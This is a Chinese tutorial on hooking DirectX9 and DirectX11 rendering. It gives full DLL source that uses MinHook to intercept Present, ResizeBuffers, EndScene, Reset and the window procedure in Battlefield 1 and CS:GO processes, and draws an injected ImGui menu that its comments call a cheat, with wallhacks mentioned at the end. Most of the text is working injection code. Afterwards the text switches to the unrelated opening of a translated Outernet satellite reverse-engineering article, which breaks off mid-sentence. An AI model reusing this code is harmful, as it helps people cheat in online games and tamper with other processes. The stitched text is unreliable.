WNDCLASSEXW wc = { sizeof(wc), CS_CLASSDC, WndProc, 0L, 0L, GetModuleHandle(NULL), NULL, NULL, NULL, NULL, L"ImGui Example", NULL };
::RegisterClassExW(&wc);
HWND hwnd = ::CreateWindowW(wc.lpszClassName, L"Dear ImGui DirectX11 Example", WS_OVERLAPPEDWINDOW, 100, 100, 1280, 800, NULL, NULL, wc.hInstance, NULL);
// Initialize Direct3D
if (!CreateDeviceD3D(hwnd))
{
CleanupDeviceD3D();
::UnregisterClassW(wc.lpszClassName, wc.hInstance);
return 1;
}
// Show the window
::ShowWindow(hwnd, SW_SHOWDEFAULT);
::UpdateWindow(hwnd);
// Setup Dear ImGui context
IMGUI_CHECKVERSION();
ImGui::CreateContext();
ImGuiIO& io = ImGui::GetIO(); (void)io;
//io.ConfigFlags |= ImGuiConfigFlags_NavEnableKeyboard; // Enable Keyboard Controls
//io.ConfigFlags |= ImGuiConfigFlags_NavEnableGamepad; // Enable Gamepad Controls
// Setup Dear ImGui style
ImGui::StyleColorsDark();
//ImGui::StyleColorsLight();
// Setup Platform/Renderer backends
ImGui_ImplWin32_Init(hwnd);
ImGui_ImplDX11_Init(g_pd3dDevice, g_pd3dDeviceContext);
// Our state
bool show_demo_window = true;
bool show_another_window = false;
ImVec4 clear_color = ImVec4(0.45f, 0.55f, 0.60f, 1.00f);
// Main loop
bool done = false;
while (!done)
{
// Poll and handle messages (inputs, window resize, etc.)
// See the WndProc() function below for our to dispatch events to the Win32 backend.
MSG msg;
while (::PeekMessage(&msg, NULL, 0U, 0U, PM_REMOVE))
{
::TranslateMessage(&msg);
::DispatchMessage(&msg);
if (msg.message == WM_QUIT)
done = true;
}
if (done)
break;
// Start the Dear ImGui frame
ImGui_ImplDX11_NewFrame();
ImGui_ImplWin32_NewFrame();
ImGui::NewFrame();
// 1. Show the big demo window (Most of the sample code is in ImGui::ShowDemoWindow()! You can browse its code to learn more about Dear ImGui!).
if (show_demo_window)
ImGui::ShowDemoWindow(&show_demo_window);
// Rendering
ImGui::Render();
const float clear_color_with_alpha[4] = { clear_color.x * clear_color.w, clear_color.y * clear_color.w, clear_color.z * clear_color.w, clear_color.w };
g_pd3dDeviceContext->OMSetRenderTargets(1, &g_mainRenderTargetView, NULL);
g_pd3dDeviceContext->ClearRenderTargetView(g_mainRenderTargetView, clear_color_with_alpha);
ImGui_ImplDX11_RenderDrawData(ImGui::GetDrawData());
g_pSwapChain->Present(1, 0); // Present with vsync
//g_pSwapChain->Present(0, 0); // Present without vsync
}
// Cleanup
ImGui_ImplDX11_Shutdown();
ImGui_ImplWin32_Shutdown();
ImGui::DestroyContext();
CleanupDeviceD3D();
::DestroyWindow(hwnd);
::UnregisterClassW(wc.lpszClassName, wc.hInstance);
return 0;
}
// Helper functions
bool CreateDeviceD3D(HWND hWnd)
{
// Setup swap chain
DXGI_SWAP_CHAIN_DESC sd;
ZeroMemory(&sd, sizeof(sd));
sd.BufferCount = 2;
sd.BufferDesc.Width = 0;
sd.BufferDesc.Height = 0;
sd.BufferDesc.Format = DXGI_FORMAT_R8G8B8A8_UNORM;
sd.BufferDesc.RefreshRate.Numerator = 60;
sd.BufferDesc.RefreshRate.Denominator = 1;
sd.Flags = DXGI_SWAP_CHAIN_FLAG_ALLOW_MODE_SWITCH;
sd.BufferUsage = DXGI_USAGE_RENDER_TARGET_OUTPUT;
sd.OutputWindow = hWnd;
sd.SampleDesc.Count = 1;
sd.SampleDesc.Quality = 0;
sd.Windowed = TRUE;
sd.SwapEffect = DXGI_SWAP_EFFECT_DISCARD;
UINT createDeviceFlags = 0;
//createDeviceFlags |= D3D11_CREATE_DEVICE_DEBUG;
D3D_FEATURE_LEVEL featureLevel;
const D3D_FEATURE_LEVEL featureLevelArray[2] = { D3D_FEATURE_LEVEL_11_0, D3D_FEATURE_LEVEL_10_0, };
if (D3D11CreateDeviceAndSwapChain(NULL, D3D_DRIVER_TYPE_HARDWARE, NULL, createDeviceFlags, featureLevelArray, 2, D3D11_SDK_VERSION, &sd, &g_pSwapChain, &g_pd3dDevice, &featureLevel, &g_pd3dDeviceContext) != S_OK)
return false;
CreateRenderTarget();
return true;
}
void CleanupDeviceD3D()
{
CleanupRenderTarget();
if (g_pSwapChain) { g_pSwapChain->Release(); g_pSwapChain = NULL; }
if (g_pd3dDeviceContext) { g_pd3dDeviceContext->Release(); g_pd3dDeviceContext = NULL; }
if (g_pd3dDevice) { g_pd3dDevice->Release(); g_pd3dDevice = NULL; }
}
void CreateRenderTarget()
{
ID3D11Texture2D* pBackBuffer;
g_pSwapChain->GetBuffer(0, IID_PPV_ARGS(&pBackBuffer));
g_pd3dDevice->CreateRenderTargetView(pBackBuffer, NULL, &g_mainRenderTargetView);
pBackBuffer->Release();
}
void CleanupRenderTarget()
{
if (g_mainRenderTargetView) { g_mainRenderTargetView->Release(); g_mainRenderTargetView = NULL; }
}
// Forward declare message handler from imgui_impl_win32.cpp
extern IMGUI_IMPL_API LRESULT ImGui_ImplWin32_WndProcHandler(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);
// Win32 message handler
// You can read the io.WantCaptureMouse, io.WantCaptureKeyboard flags to tell if dear imgui wants to use your inputs.
// - When io.WantCaptureMouse is true, do not dispatch mouse input data to your main application, or clear/overwrite your copy of the mouse data.
// - When io.WantCaptureKeyboard is true, do not dispatch keyboard input data to your main application, or clear/overwrite your copy of the keyboard data.
// Generally you may always pass all inputs to dear imgui, and hide them from your application based on those two flags.
LRESULT WINAPI WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
if (ImGui_ImplWin32_WndProcHandler(hWnd, msg, wParam, lParam))
return true;
switch (msg)
{
case WM_SIZE:
if (g_pd3dDevice != NULL && wParam != SIZE_MINIMIZED)
{
CleanupRenderTarget();
g_pSwapChain->ResizeBuffers(0, (UINT)LOWORD(lParam), (UINT)HIWORD(lParam), DXGI_FORMAT_UNKNOWN, 0);
CreateRenderTarget();
}
return 0;
case WM_SYSCOMMAND:
if ((wParam & 0xfff0) == SC_KEYMENU) // Disable ALT application menu
return 0;
break;
case WM_DESTROY:
::PostQuitMessage(0);
return 0;
}
return ::DefWindowProc(hWnd, msg, wParam, lParam);
}
简单整理了下过程
|--main()
| |--CreateWindowW() 创建一个windows窗口用于测试imgui
| |--CreateDeviceD3D()
| | |--D3D11CreateDeviceAndSwapChain() 创建设备、设备上下文和交换链
| | |--CreateRenderTarget() 创建渲染目标视图
| |--ImGui_Init ImGui初始化
| |--while(loop)
| | |--PeekMessage，检测是否收到quit的消息
| | |--ImGui 场景的设置
| | |--g_pd3dDeviceContext->OMSetRenderTargets 将视图绑定到输出合并器阶段
| | |--g_pd3dDeviceContext->ClearRenderTargetView 貌似和绘制背景有关
| | |--g_pSwapChain->Present(1, 0);开始绘制
| | |--后面就是一些结束清理过程了
|--WndProc()
| |--ImGui_ImplWin32_WndProcHandler(hWnd, msg, wParam, lParam) 如果是Imgui的窗口，就交给Imgui的消息处理函数进行处理
| |--switch(msg)
| | |--case WM_SIZE: 当窗口大小改变时产生这个消息
| | | |--CleanupRenderTarget();g_pSwapChain->ResizeBuffers;CreateRenderTarget();先清理渲染目标视图，然后在创建一个。
| | |--case WM_DESTROY: 接收到WM_DESTROY时
| | | |--PostQuitMessage(0) 发送消息，结束main函数中的while循环。
### Hook的函数
imgui的example相当于就是实现了一个使用imgui窗口的D3D11的初始化过程，但是对于游戏，我们不是开发者，不能直接修改代码，所以就只有去hook其中的关键函数，在执行关键函数前，或者关键函数后，执行我们的代码。
所以我们需要明确对于DirectX11，需要hook哪些函数，通过Imgui提供的样例，我们可以知道在DirectX11需要Hook的有三个函数。
* [IDXGISwapChain::Present](https://learn.microsoft.com/en-us/windows/win32/api/dxgi/nf-dxgi-idxgiswapchain-present)，绘制函数，我们需要在绘制函数前，自己创建一个渲染目标视图，然后是Imgui的初始化和窗口设置。
* IDXGISwapChain::ResizeBuffers，窗口大小变换时会调用的函数，为了我们的imgui窗口也能够随窗口size变换而正常执行，我们需要hook这个函数，对原渲染目标视图进行release，然后重新创建。
* WndProc，游戏窗口的消息处理函数，对于imgui窗口的消息，我们需要调用ImGui_ImplWin32_WndProcHandler()来进行处理。
和DirectX9有些不同的是，DirectX11的绘制函数和RESIZE函数是不一样的。
| DirectX9 | DirectX11
---|---|---
向用户呈现渲染图像 | [IDirect3DDevice9::EndScene](https://learn.microsoft.com/en-us/windows/win32/api/d3d9helper/nf-d3d9helper-idirect3ddevice9-endscene) |
[IDXGISwapChain::Present](https://learn.microsoft.com/en-us/windows/win32/api/dxgi/nf-dxgi-idxgiswapchain-present)
改变窗口size调用的函数 | [IDirect3DDevice9::Reset](https://learn.microsoft.com/en-us/windows/win32/api/d3d9helper/nf-d3d9helper-idirect3ddevice9-reset) |
[IDXGISwapChain::ResizeBuffers](https://learn.microsoft.com/en-us/windows/win32/api/dxgi/nf-dxgi-idxgiswapchain-resizebuffers)
### 实战某游戏
主要还是将github上那个项目中DirectX11的部分分离了出来，然后我简化了其imgui的窗口。
dllmain.cpp，主要就是先创建一个用于输入调试信息的控制台，然后遍历了窗口，准确获取到bf1的窗口句柄，minihook的初始化。
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "includes.h"
namespace console
{
FILE* output_stream = nullptr;
void attach(const char* name)
{
if (AllocConsole())
{
freopen_s(&output_stream, "conout$", "w", stdout);
}
SetConsoleTitle(name);
}
void detach()
{
if (output_stream)
{
fclose(output_stream);
}
FreeConsole();
}
}
#define RAISE_ERROR(check_var, error_message, success_message) \
if (!check_var) \
{ \
MessageBoxA(NULL, error_message, "alternative hack", MB_OK | MB_ICONERROR); \
FreeLibraryAndExitThread(globals::hmModule, 1); \
} \
else \
{ \
std::cout << success_message << "0x" << std::hex << check_var << std::endl; \
} \
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
auto process_id_that_interests_us_very_much = GetCurrentProcessId();
HWND* cur_hwnd = (HWND*)lParam;
if ((!GetWindow(hwnd, GW_OWNER)) && IsWindow(hwnd))
{
DWORD process_id = NULL;
GetWindowThreadProcessId(hwnd, &process_id);
char* text_window = new char[255];
GetWindowText(hwnd, text_window, 255);
if (process_id_that_interests_us_very_much == process_id && strstr(text_window, "Battlefield") && !strstr(text_window, ".exe"))
{
std::cout << "Window: " << text_window << std::endl;
*cur_hwnd = hwnd;
return 0;
}
}
return 1;
}
void SetupHackThread(void)
{
//开启一个控制台用来输出一些信息。
console::attach("bf1 console debug");
//获取Battlefield窗口的句柄
EnumWindows(&EnumWindowsProc, (LPARAM)&globals::hGame);
RAISE_ERROR(globals::hGame, "Error find window", "window handle: ");
//minhook的初始化
if (MH_Initialize() != MH_OK)
{
MessageBoxA(NULL, "Error initialize minhook", "alternative hack", MB_OK | MB_ICONERROR);
}
//DirectX11 Hook
m_pHook->SetupDX11Hook();
RAISE_ERROR(m_pHook->pPresentAddress, "Error hook DX11", "present: ");
RAISE_ERROR(m_pHook->pResizeBuffersAddress, "Error hook DX11", "resizebuffers: ");
//调用SetWindowLongPtr函数修改了游戏窗口的WndProc，也就是窗口的消息处理函数，具体的消息处理函数将在对应函数位置进行分析。
m_pHook->SetupWndProcHook();
RAISE_ERROR(m_pHook->pWndProc, "Error hook wndproc", "wndproc: ")
while (true)
{
Sleep(228);
}
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SetupHackThread, NULL, NULL, NULL);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
hook.h，hook类的定义，以及声明了几个变量，交换链、设备、设备上下文、渲染目标子资源。
#pragma once
class CHook
{
public:
PVOID pPresentAddress;
PVOID pResizeBuffersAddress;
WNDPROC pWndProc;
void SetupDX11Hook();
void SetupWndProcHook();
};
//智能指针类,相当于创建了一个指向CHook类的空指针。
extern std::unique_ptr<CHook>m_pHook;
extern IDXGISwapChain* swapchain;
extern ID3D11Device* device;
extern ID3D11DeviceContext* context;
extern ID3D11RenderTargetView* render_view;
hook.cpp，主要就是之前提到三个函数的hook，然后代码流程和example_win32_directx11差不多。
#include "../includes.h"
std::unique_ptr<CHook>m_pHook = std::make_unique<CHook>();
IDXGISwapChain* swapchain = nullptr;
ID3D11Device* device = nullptr;
ID3D11DeviceContext* context = nullptr;
ID3D11RenderTargetView* render_view = nullptr;
using fPresent = HRESULT(__fastcall*)(IDXGISwapChain*, UINT, UINT);
fPresent pPresent = NULL;
using fResizeBuffers = HRESULT(__fastcall*)(IDXGISwapChain*, UINT, UINT, UINT, DXGI_FORMAT, UINT);
fResizeBuffers pResizeBuffers = NULL;
static bool renderview_lost = true;
namespace vars
{
static bool bMenuOpen=true;
}
enum IDXGISwapChainvTable //for dx10 / dx11
{
QUERY_INTERFACE,
ADD_REF,
RELEASE,
SET_PRIVATE_DATA,
SET_PRIVATE_DATA_INTERFACE,
GET_PRIVATE_DATA,
GET_PARENT,
GET_DEVICE,
PRESENT,
GET_BUFFER,
SET_FULLSCREEN_STATE,
GET_FULLSCREEN_STATE,
GET_DESC,
RESIZE_BUFFERS,
RESIZE_TARGET,
GET_CONTAINING_OUTPUT,
GET_FRAME_STATISTICS,
GET_LAST_PRESENT_COUNT
};
void InitImGui()
{
IMGUI_CHECKVERSION();
ImGui::CreateContext();
ImGuiIO& io = ImGui::GetIO(); (void)io;
ImGui_ImplWin32_Init(globals::hGame);
ImGui_ImplDX11_Init(device, context);
}
void BeginScene()
{
ImGui_ImplDX11_NewFrame();
ImGui_ImplWin32_NewFrame();
ImGui::NewFrame();
bool show_demo_window = true;
ImGui::ShowDemoWindow(&show_demo_window);
ImGui::Begin("Another Window", &show_demo_window); // Pass a pointer to our bool variable (the window will have a closing button that will clear the bool when clicked)
ImGui::Text("Hello from another window!");
static int counter = 0;
if (ImGui::Button("Button")) // Buttons return true when clicked (most widgets return true when edited/activated)
counter++;
ImGui::Text("counter = %d", counter);
ImGui::End();
ImGui::Render();
ImGui_ImplDX11_RenderDrawData(ImGui::GetDrawData());
}
HRESULT __fastcall Present_Hooked(IDXGISwapChain* pChain, UINT SyncInterval, UINT Flags)
{
//第一次调用时，创建渲染目标视图
if (renderview_lost)
{
if (SUCCEEDED(pChain->GetDevice(__uuidof(ID3D11Device), (void**)&device)))
{
device->GetImmediateContext(&context);
ID3D11Texture2D* pBackBuffer;
pChain->GetBuffer(0, __uuidof(ID3D11Texture2D), (LPVOID*)&pBackBuffer);
device->CreateRenderTargetView(pBackBuffer, NULL, &render_view);
pBackBuffer->Release();
std::cout << __FUNCTION__ << " > renderview successfully received!" << std::endl;
renderview_lost = false;
}
}
//ImGui的初始化代码，套路代码
static auto once = [pChain, SyncInterval, Flags]()
{
InitImGui();
std::cout << __FUNCTION__ << " > first called!" << std::endl;
return true;
}();
//将视图绑定到输出合并器阶段
context->OMSetRenderTargets(1, &render_view, NULL);
//imgui窗口的绘制
BeginScene();
return pPresent(pChain, SyncInterval, Flags);
}
HRESULT __fastcall ResizeBuffers_hooked(IDXGISwapChain* pChain, UINT BufferCount, UINT Width, UINT Height, DXGI_FORMAT NewFormat, UINT Flags)
{
static auto once = []()
{
std::cout << __FUNCTION__ << " > first called!" << std::endl;
return true;
}();
//释放掉渲染目标视图
render_view->Release();
render_view = nullptr;
//将标志改为true，这样下次Present_Hooked，又会创建一个渲染目标视图。
renderview_lost = true;
//这两个没看懂，imgui的example_win32_directx9有类似的代码，但是
ImGui_ImplDX11_CreateDeviceObjects();
ImGui_ImplDX11_InvalidateDeviceObjects();
return pResizeBuffers(pChain, BufferCount, Width, Height, NewFormat, Flags);
}
void CHook::SetupDX11Hook()
{
//创建设备、设备上下文和交换链，只需要一个东西，就是目标窗口的hWnd
D3D_FEATURE_LEVEL feature_level = D3D_FEATURE_LEVEL_11_0;
DXGI_SWAP_CHAIN_DESC scd{};
ZeroMemory(&scd, sizeof(scd));
scd.BufferCount = 1;
scd.BufferDesc.Format = DXGI_FORMAT_R8G8B8A8_UNORM;
scd.BufferDesc.Scaling = DXGI_MODE_SCALING_UNSPECIFIED;
scd.BufferDesc.ScanlineOrdering = DXGI_MODE_SCANLINE_ORDER_UNSPECIFIED;
scd.BufferUsage = DXGI_USAGE_RENDER_TARGET_OUTPUT;
scd.Flags = DXGI_SWAP_CHAIN_FLAG_ALLOW_MODE_SWITCH;
scd.OutputWindow = globals::hGame;
scd.SampleDesc.Count = 1;
scd.SwapEffect = DXGI_SWAP_EFFECT_DISCARD;
scd.Windowed = TRUE;
scd.BufferDesc.RefreshRate.Numerator = 60;
scd.BufferDesc.RefreshRate.Denominator = 1;
//https://learn.microsoft.com/en-us/windows/win32/api/d3d11/nf-d3d11-d3d11createdeviceandswapchain
if (FAILED(D3D11CreateDeviceAndSwapChain(NULL, D3D_DRIVER_TYPE_HARDWARE, NULL, NULL, &feature_level, 1, D3D11_SDK_VERSION, &scd, &swapchain, &device, NULL, &context)))
{
std::cout << "failed to create device\n";
return;
}
//*取一级指针的值，获取到IDXGISwapChain接口，https://learn.microsoft.com/en-us/windows/win32/api/dxgi/nn-dxgi-idxgiswapchain
void** pVTableSwapChain = *reinterpret_cast<void***>(swapchain);
//获取需要hook的两个函数的地址，就是IDXGISwapChain接口提供的两个函数。
//向用户呈现渲染图像。IDXGISwapChain::Present
this->pPresentAddress = reinterpret_cast<LPVOID>(pVTableSwapChain[IDXGISwapChainvTable::PRESENT]);
//更改交换链的后台缓冲区大小、格式和缓冲区数量。这应该在应用程序窗口大小调整时调用。IDXGISwapChain::ResizeBuffers
this->pResizeBuffersAddress = reinterpret_cast<LPVOID>(pVTableSwapChain[IDXGISwapChainvTable::RESIZE_BUFFERS]);
//开始hook，主要过程就是在执行原Present函数前，创建渲染目标视图，然后imgui初始化，绘制
if (MH_CreateHook(this->pPresentAddress, &Present_Hooked, (LPVOID*)&pPresent) != MH_OK
|| MH_EnableHook(this->pPresentAddress) != MH_OK)
{
std::cout << "failed create hook present\n";
return;
}
//这个函数就是当目标窗口的size改变时会调用的。
if (MH_CreateHook(pResizeBuffersAddress, &ResizeBuffers_hooked, (LPVOID*)&pResizeBuffers) != MH_OK
|| MH_EnableHook(pResizeBuffersAddress) != MH_OK)
{
std::cout << "failed create hook resizebuffers\n";
return;
}
}
LRESULT ImGui_ImplWin32_WndProcHandler(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam);
LRESULT CALLBACK WndProc_Hooked(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
static auto once = []()
{
std::cout << __FUNCTION__ << " first called!" << std::endl;
return true;
}();
//如果按下INS键，就打开或关闭外挂设置界面，如果之前是关闭的就打开，如果是打开的就关闭。
if (uMsg == WM_KEYDOWN && wParam == VK_INSERT)
{
vars::bMenuOpen = !vars::bMenuOpen;
return FALSE;
}
//如果外挂设置界面是打开状态，则调用ImGui的消息处理
if (vars::bMenuOpen && ImGui_ImplWin32_WndProcHandler(hwnd, uMsg, wParam, lParam))
{
return TRUE;
}
//调用原窗口处理消息的函数来处理其他消息，https://blog.csdn.net/wangpengk7788/article/details/55053053
return CallWindowProc(m_pHook->pWndProc, hwnd, uMsg, wParam, lParam);
}
void CHook::SetupWndProcHook()
{
this->pWndProc = (WNDPROC)SetWindowLongPtr(globals::hGame, GWLP_WNDPROC, (LONG_PTR)WndProc_Hooked);
}
最后效果如下。
## DirectX9
前面已经提到DirectX11和DirectX9,是有些细微差别的，实际上其过程还相对于DirectX11减少了许多步骤，这里我同样编写了下DirectX9
Hook的代码，并找了一款游戏进行测验。
其代码过程也可参考imgui中的[example_win32_directx9](https://github.com/ocornut/imgui/tree/master/examples/example_win32_directx9)，同样我们需要hook一些函数。
### 实战某游戏
dllmain.cpp
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "includes.h"
namespace console
{
FILE* output_stream = nullptr;
void attach(const char* name)
{
if (AllocConsole())
{
freopen_s(&output_stream, "conout$", "w", stdout);
}
SetConsoleTitle(name);
}
void detach()
{
if (output_stream)
{
fclose(output_stream);
}
FreeConsole();
}
}
#define RAISE_ERROR(check_var, error_message, success_message) \
if (!check_var) \
{ \
MessageBoxA(NULL, error_message, "csgo hack", MB_OK | MB_ICONERROR); \
FreeLibraryAndExitThread(globals::hmModule, 1); \
} \
else \
{ \
std::cout << success_message << "0x" << std::hex << check_var << std::endl; \
} \
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
auto process_id_that_interests_us_very_much = GetCurrentProcessId();
HWND* cur_hwnd = (HWND*)lParam;
if ((!GetWindow(hwnd, GW_OWNER)) && IsWindow(hwnd))
{
DWORD process_id = NULL;
GetWindowThreadProcessId(hwnd, &process_id);
char* text_window = new char[255];
GetWindowText(hwnd, text_window, 255);
if (process_id_that_interests_us_very_much == process_id && strstr(text_window, "Counter-Strike") && !strstr(text_window, ".exe"))
{
std::cout << "Window: " << text_window << std::endl;
*cur_hwnd = hwnd;
return 0;
}
}
return 1;
}
void SetupHackThread(void)
{
//开启一个控制台用来输出一些信息。
console::attach("csgo console debug");
//获取窗口的句柄
EnumWindows(&EnumWindowsProc, (LPARAM)&globals::hGame);
RAISE_ERROR(globals::hGame, "Error find window", "window handle: ");
//minhook的初始化
if (MH_Initialize() != MH_OK)
{
MessageBoxA(NULL, "Error initialize minhook", "csgo hack", MB_OK | MB_ICONERROR);
}
//DirectX9 Hook
m_pHook->SetupDX9Hook();
RAISE_ERROR(m_pHook->pEndSceneAddress, "Error hook DX9", "EndScene");
RAISE_ERROR(m_pHook->pResetAddress, "Error hook DX9", "Reset: ");
//调用SetWindowLongPtr函数修改了游戏窗口的WndProc，也就是窗口的消息处理函数，具体的消息处理函数将在对应函数位置进行分析。
m_pHook->SetupWndProcHook();
RAISE_ERROR(m_pHook->pWndProc, "Error hook wndproc", "wndproc: ")
while (true)
{
if (globals::unload_dll) break;
Sleep(228);
}
Sleep(30);
ImGui_ImplDX9_Shutdown();
ImGui_ImplWin32_Shutdown();
ImGui::DestroyContext();
Sleep(100);
MH_DisableHook(m_pHook->pEndSceneAddress);
MH_RemoveHook(m_pHook->pEndSceneAddress);
Sleep(100);
MH_DisableHook(m_pHook->pResetAddress);
MH_RemoveHook(m_pHook->pResetAddress);
MH_Uninitialize();
Sleep(100);
SetWindowLongPtr(globals::hGame, GWLP_WNDPROC, (LONG_PTR)m_pHook->pWndProc);
Sleep(100);
//free library
std::cout << "free library...\n\n";
FreeLibraryAndExitThread(globals::hmModule, 0);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
globals::hmModule = hModule;
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SetupHackThread, NULL, NULL, NULL);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
hook.h
#pragma once
class CHook
{
public:
PVOID pEndSceneAddress;
PVOID pResetAddress;
PVOID pSetCursorPosAddress;
WNDPROC pWndProc;
void SetupDX9Hook();
void SetupWndProcHook();
};
//智能指针类,相当于创建了一个指向CHook类的空指针。
extern std::unique_ptr<CHook>m_pHook;
extern IDirect3D9* g_pD3D;
extern IDirect3DDevice9* device;
hook.cpp
#include "../includes.h"
std::unique_ptr<CHook>m_pHook = std::make_unique<CHook>();
using fEndscene = HRESULT(__stdcall*)(IDirect3DDevice9*);
fEndscene pEndscene = NULL;
using fReset = long(__stdcall*)(IDirect3DDevice9*, D3DPRESENT_PARAMETERS*);
fReset pReset = NULL;
IDirect3D9* g_pD3D= nullptr;
IDirect3DDevice9* device = nullptr;
ID3D11DeviceContext* context = nullptr;
enum IDirect3DDevice9vTable //for dx9
{
RESET = 16,
ENDSCENE=42
};
namespace vars
{
static bool bMenuOpen = true;
}
void InitImGui(IDirect3DDevice9* pd3dDevice)
{
IMGUI_CHECKVERSION();
ImGui::CreateContext();
ImGuiIO& io = ImGui::GetIO(); (void)io;
ImGui_ImplWin32_Init(globals::hGame);
ImGui_ImplDX9_Init(pd3dDevice);
}
void BeginScene()
{
// 界面开始绘制
ImGui_ImplDX9_NewFrame();
ImGui_ImplWin32_NewFrame();
ImGui::NewFrame();
bool show_demo_window = true;
ImGui::ShowDemoWindow(&show_demo_window);
ImGui::Begin("Another Window", &show_demo_window); // Pass a pointer to our bool variable (the window will have a closing button that will clear the bool when clicked)
ImGui::Text("Hello from another window!");
static int counter = 0;
if (ImGui::Button("Button")) // Buttons return true when clicked (most widgets return true when edited/activated)
counter++;
ImGui::Text("counter = %d", counter);
ImGui::End();
ImGui::Render();
ImGui_ImplDX9_RenderDrawData(ImGui::GetDrawData());
}
HRESULT __stdcall EndScene_Hooked(IDirect3DDevice9* pd3dDevice)
{
static auto once = [pd3dDevice]()
{
std::cout << __FUNCTION__ << " > first called!" << std::endl;
InitImGui(pd3dDevice);
return true;
}();
BeginScene();
return pEndscene(pd3dDevice);
}
HRESULT __stdcall Reset_Hooked(IDirect3DDevice9* pd3dDevice, D3DPRESENT_PARAMETERS* pPresentationParameters)
{
static auto once = []()
{
std::cout << __FUNCTION__ << " > first called!" << std::endl;
return true;
}();
ImGui_ImplDX9_InvalidateDeviceObjects();
//HRESULT ret= pReset(pd3dDevice, pPresentationParameters);
ImGui_ImplDX9_CreateDeviceObjects();
return pReset(pd3dDevice, pPresentationParameters);
}
void CHook::SetupDX9Hook()
{
g_pD3D =Direct3DCreate9(D3D_SDK_VERSION);
D3DPRESENT_PARAMETERS g_d3dpp = {};
ZeroMemory(&g_d3dpp, sizeof(g_d3dpp));
g_d3dpp.Windowed = TRUE;
g_d3dpp.SwapEffect = D3DSWAPEFFECT_DISCARD;
g_d3dpp.BackBufferFormat = D3DFMT_UNKNOWN;
g_d3dpp.EnableAutoDepthStencil = TRUE;
g_d3dpp.AutoDepthStencilFormat = D3DFMT_D16;
//g_d3dpp.PresentationInterval = D3DPRESENT_INTERVAL_ONE; // Present with vsync
if (g_pD3D->CreateDevice(D3DADAPTER_DEFAULT, D3DDEVTYPE_HAL, globals::hGame, D3DCREATE_HARDWARE_VERTEXPROCESSING, &g_d3dpp, &device) < 0)
{
std::cout << "failed to create device\n";
return;
}
void** pVTabledevice = *reinterpret_cast<void***>(device);
this->pEndSceneAddress = reinterpret_cast<LPVOID>(pVTabledevice[IDirect3DDevice9vTable::ENDSCENE]);
this->pResetAddress = reinterpret_cast<LPVOID>(pVTabledevice[IDirect3DDevice9vTable::RESET]);
if (MH_CreateHook(this->pEndSceneAddress, &EndScene_Hooked, (LPVOID*)&pEndscene) != MH_OK
|| MH_EnableHook(this->pEndSceneAddress) != MH_OK)
{
std::cout << "failed create hook EndScene\n";
return;
}
if (MH_CreateHook(this->pResetAddress, &Reset_Hooked, (LPVOID*)&pReset) != MH_OK
|| MH_EnableHook(this->pResetAddress) != MH_OK)
{
std::cout << "failed create hook Reset\n";
return;
}
}
LRESULT ImGui_ImplWin32_WndProcHandler(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam);
LRESULT CALLBACK WndProc_Hooked(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
static auto once = []()
{
std::cout << __FUNCTION__ << " first called!" << std::endl;
return true;
}();
//如果按下INS键，就打开或关闭外挂设置界面，如果之前是关闭的就打开，如果是打开的就关闭。
if (uMsg == WM_KEYDOWN && wParam == VK_INSERT)
{
vars::bMenuOpen = !vars::bMenuOpen;
return FALSE;
}
//如果设置界面是打开状态，则调用ImGui的消息处理
if (vars::bMenuOpen && ImGui_ImplWin32_WndProcHandler(hwnd, uMsg, wParam, lParam))
{
return TRUE;
}
//调用原窗口处理消息的函数来处理其他消息，https://blog.csdn.net/wangpengk7788/article/details/55053053
return CallWindowProc(m_pHook->pWndProc, hwnd, uMsg, wParam, lParam);
}
void CHook::SetupWndProcHook()
{
this->pWndProc = (WNDPROC)SetWindowLongPtr(globals::hGame, GWLP_WNDPROC, (LONG_PTR)WndProc_Hooked);
}
最终效果如下。
## 结语
实际上关于DirectX
还有很多有意思的地方，比如说经典的WalkHack，通过钩取函数，实现获取人物模型编号，以及修改Z轴深度缓存来达到想要的目的。还有对于imgui，也是有很多可以学习的地方，对比古老的Mfc窗口，或者自定义窗口，imgui的窗口简单而美观，并且实现起来也很方便。
* * * | 社区文章 |
# 【技术分享】针对Outernet卫星信号的逆向工程
|
##### 译文声明
本文是翻译文章，文章来源：gnuradio
原文地址：<http://gnuradio.org/blog/reverse-engineering-outernet/>
译文仅供参考，具体内容表达以及含义原文为准。
****
******翻译：**[
**twittered**](http://bobao.360.cn/member/contribute?uid=245645961)
**稿费：200RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**前言**
Outernet[1]是一家旨在让访问国际互联网更加方便自由的公司，他们使用卫星来广播维基百科或者其他网站。目前，他们的广播主要使用三颗国际海事卫星[3]的L波段[2]，使其广播覆盖全球，大多数接收机是开源的，可是，他们的关键部分是闭源的，比如二进制的数据分发模式和信号的详细信息。实际上，Outernet可能违反了GPL
，因为他们的sdr100[4]是基于librtl SDR和libmirisdr[5]开发的，而这两个使用了GPL开源协议。
**详情**
最近。我逆向了 Outernet 的信号，并完成了一个完全开源的的解码器，他由一个GNU Radio流图 gr-outernet[6]和python脚本free-outernet[7]组成，前者负责获取信号，后者负责提取出传输的文件。
在这篇文章中，我将描述GNU
